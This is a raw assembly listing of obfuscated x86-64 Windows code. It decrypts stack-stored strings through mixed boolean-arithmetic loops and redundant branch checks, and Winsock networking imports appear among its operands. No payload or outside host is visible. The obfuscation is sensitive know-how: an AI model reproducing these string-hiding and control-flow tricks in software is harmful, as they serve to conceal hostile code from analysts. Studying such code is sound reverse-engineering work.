and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x60
jmp 0x1400946dc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140094528
movzx r10d, r11b
lea edx, [r10 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140094828
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140094556
lea edx, [r11 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x140093e23
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140094581
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140094894
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400945ad
movzx r10d, r11b
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140094741
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009429e
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140093e23
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009461c
lea ecx, [r11 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140093e23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140094644
movzx r10d, r11b
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140094741
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140094669
movzx r10d, r11b
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x1400946df
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140094690
movzx ecx, r11b
and cl, r9b
add cl, cl
movzx edi, r11b
sub dil, cl
add dil, r9b
dec r11
inc r11
jmp 0x140093e23
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009425a
movzx r10d, r11b
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140094828
movzx r10d, r11b
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r11 + 0x50]
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
sub r10b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 + 0x50], cl
add rbx, r8
jmp 0x140094894
movzx r10d, r11b
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14009473e
movzx r10d, r11b
lea edx, [r10 - 0x28]
mov ecx, recv
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r10b, 0x18
movzx eax, r10b
and al, r9b
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x50], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140093e23
lea ecx, [r11 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
add rbx, r8
jmp 0x140094894
lea ecx, [r11 - 0x68]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
dec r11
inc r11
jmp 0x140093e23
movzx r10d, r11b
lea edx, [r10 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x48
add dil, dl
jmp 0x140094828
movzx r10d, r11b
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
sub r10b, 8
movzx eax, r10b
and al, r9b
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x50], cl
inc r8
dec r11
inc r11
jmp 0x140093e23
lea edx, [r11 + 0x38]
mov ecx, 0x3c
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x140093e23
lea rcx, [r11 + r12]
movzx eax, cl
and al, r10b
mov edx, 0x24
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140093e23
lea rcx, [r11 + r13]
movzx eax, cl
and al, r10b
mov edx, recv
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140093e23
add r11b, 0x68
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x140093e20
sub r11b, 0x28
movzx eax, r9b
and al, r11b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x140093e08
lea rcx, [rbp + 0x1771cb0]
jmp 0x140094931
lea rcx, [rbp + 0x87cdf8]
jmp 0x140094931
lea rcx, [rbp + 0x50]
call fcn.140098cb0
mov dword [rbp + 0x30], 0x94f49446
mov dword [rbp + 0x34], 0x405c4e5a
mov dword [rbp + 0x38], 0x86979a5e
mov word [rbp + 0x3c], 0x6f52
mov byte [rbp + 0x3e], reloc.WS2_32.dll_WSACleanup
xor eax, eax
mov dword [rbp + 0x3f], eax
mov word [rbp + 0x43], ax
movabs rsi, 0x69ab6cce43e5272f
movabs r12, 0xe3aff9a3db441249
movabs r13, 0x105920075379c3eb
movabs r15, 0x3d02466acbaf758d
movzx edi, byte [rbp + 0x1e8]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r11, r14
cmp r11, 0x15
jae 0x1400954d7
movzx r10d, byte [rbp + r11 + 0x30]
mov rdx, r10
cmp rbx, r11
ja 0x1400954ce
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400949e2
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x49
jmp 0x140094a20
je 0x140095463
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140095409
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400953ca
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140095398
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140095354
nop dword [rax]
cmp r8, r11
ja 0x1400954c5
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x140094a4a
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 3
jmp 0x140094a80
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140095338
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140095320
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140095305
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400952db
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140094fe0
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140094fc1
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140094f99
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140094f74
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140094f55
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140094f36
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140094f1b
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140094efc
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140094ee1
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140094eb3
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140094a90
lea rbx, [r8 + 5]
lea r8, [rbx + 1]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400954a8
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14009548b
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140094c7d
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140094c62
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140094c47
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140094e6a
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140094e22
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140094de4
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140094dc1
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140094a90
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140094d97
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140094d78
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140094d5d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140094d42
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140094d23
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140094d04
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140094cdf
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140094cbb
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140094c98
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140094a90
lea rbx, [r8 + 0x61]
lea r8, [rbx + 9]
jmp 0x140094a90
lea ecx, [r11 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
jmp 0x140094a80
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
jmp 0x140094a20
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
jmp 0x1400949b3
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14009536e
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
inc r8
dec r11
inc r11
jmp 0x1400949a3
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400949a3
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
movzx r9d, r11b
jmp 0x140095297
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400953ae
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x1400953b1
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x1400953e2
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140095422
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x1400949a3
lea ecx, [r11 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x15
mov byte [rbp + r11 + 0x30], dil
inc r11
jmp 0x1400949a3
lea ecx, [r11 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x59
cmp r8, 8
jb 0x140094dd7
movzx r9d, r11b
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x2c]
jmp 0x14009536e
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x39
cmp rbx, 9
jae 0x140095278
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x1400951bf
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x140094dfa
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x35
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x1400952bb
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x1400950e5
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
jmp 0x140094e38
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x1400949a3
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x140095422
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400953e2
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x1400953b1
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400953ae
movzx r9d, r11b
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x140095297
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400949a3
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400949a3
movzx r9d, r11b
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x14009536e
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140095004
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x49
jmp 0x140094e80
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009503b
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x1400949a3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009505f
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x1400953ae
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009508b
movzx r9d, r11b
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140095297
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400950b5
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
dec r11
inc r11
jmp 0x1400949a3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140094e80
movzx r9d, r11b
lea edx, [r9 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009536e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009510d
movzx r9d, r11b
lea ecx, [r9 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
jmp 0x14009536e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009513a
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x77
inc r8
dec r11
inc r11
jmp 0x1400949a3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140095164
lea ecx, [r11 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1b
dec r11
inc r11
jmp 0x1400949a3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140095188
lea ecx, [r11 - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x63
jmp 0x1400953e2
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140094e38
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x1400949a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400951f6
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x1400949a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009521a
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x1400953e2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140095243
movzx r9d, r11b
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140095297
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140094dfa
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400949a3
movzx r9d, r11b
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x30]
sub cl, al
add cl, 0x2c
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0xf
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x30], r9b
jmp 0x1400953ae
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x30]
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x1400953e2
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1f
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x1400949a3
lea ecx, [r11 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
jmp 0x1400953b1
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
jmp 0x1400953ae
movzx r9d, r11b
lea ecx, [r9 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x71
jmp 0x14009536e
movzx r9d, r11b
lea ecx, [r9 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
sub r9b, 0x17
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x5f
add r9b, r10b
mov byte [rbp + r11 + 0x30], r9b
inc r8
dec r11
inc r11
jmp 0x1400949a3
lea ecx, [r11 + 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x23
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400949a3
lea rcx, [r11 + r12]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
inc dil
lea ecx, [r11 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x7d
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x30], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140095422
lea rcx, [r11 + r13]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x1400949a3
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x25
movzx eax, byte [rbp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x1400949a3
add r11b, 0x6b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x13
jmp 0x1400949a0
add r11b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x5b
jmp 0x140094990
lea rcx, [rbp + 0x17653c4]
jmp 0x1400954db
lea rcx, [rbp + 0x15b7af3]
jmp 0x1400954db
lea rcx, [rbp + 0x30]
call fcn.140098cb0
mov dword [rsp + 0x40], 0x3e1e2278
mov dword [rsp + 0x44], 0x52665764
mov dword [rsp + 0x48], 0x63153760
mov word [rsp + 0x4c], 0x8786
mov byte [rsp + 0x4e], 0x8e
xor eax, eax
mov qword [rsp + 0x4f], rax
mov dword [rsp + 0x57], eax
mov word [rsp + 0x5b], ax
mov byte [rsp + 0x5d], al
movabs r13, 0x48bac53a8ac2acec
movabs r15, 0x8e90ef0ee0d8144c
movabs r12, 0xda304fafa04806c4
movzx edi, byte [rbp + 0x1e8]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov rsi, r14
cmp rsi, 0x1e
jae 0x140095d0c
movzx r11d, byte [rsp + rsi + 0x40]
mov edx, r11d
cmp rbx, rsi
ja 0x140095d03
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140095591
lea rcx, [rsi + r13]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x74
jmp 0x1400955c0
je 0x140095cb7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140095c8b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140095c67
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140095c40
nop
cmp r8, rsi
ja 0x140095cfa
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x1400955ed
lea edx, [rsi + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140095621
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140095bfa
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140095bda
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140095bbd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140095b91
lea rax, [r8 + rbx]
cmp rax, rsi
jbe 0x1400958a9
nop
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140095887
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140095930
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14009586d
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140095853
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 8]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140095cdd
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400956e9
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400957d3
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14009578e
lea rbx, [r8 + 0x61]
lea r8, [rbx + 4]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140095762
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140095744
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140095726
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140095703
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 1]
jmp 0x140095630
lea ecx, [rsi + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x14
jmp 0x1400955c0
lea ecx, [rsi + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
inc r8
dec rsi
inc rsi
jmp 0x140095553
lea ecx, [rsi + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x68
movzx r9d, sil
jmp 0x140095ae3
lea edx, [rsi - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140095c9e
lea edx, [rsi + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rsp + rsi + 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140095553
lea edx, [rsi - 0x54]
movzx eax, dl
and al, r11b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r8, 0x20
jb 0x140095ab5
movzx r9d, sil
lea ecx, [r9 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x70]
jmp 0x140095c14
lea edx, [rsi - 4]
movzx eax, dl
and al, r11b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x140095b0c
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14009597a
lea edx, [rsi + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp rbx, 0x42
jae 0x140095ac2
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x140095a27
lea ecx, [rsi - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x28
jmp 0x1400957a7
lea ecx, [rsi + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
jmp 0x140095b53
lea ecx, [rsi - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x140095c9e
lea edx, [rsi + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, sil
jmp 0x140095c14
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x1400958cf
lea ecx, [rsi - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x1400957ec
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140095900
lea ecx, [rsi - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
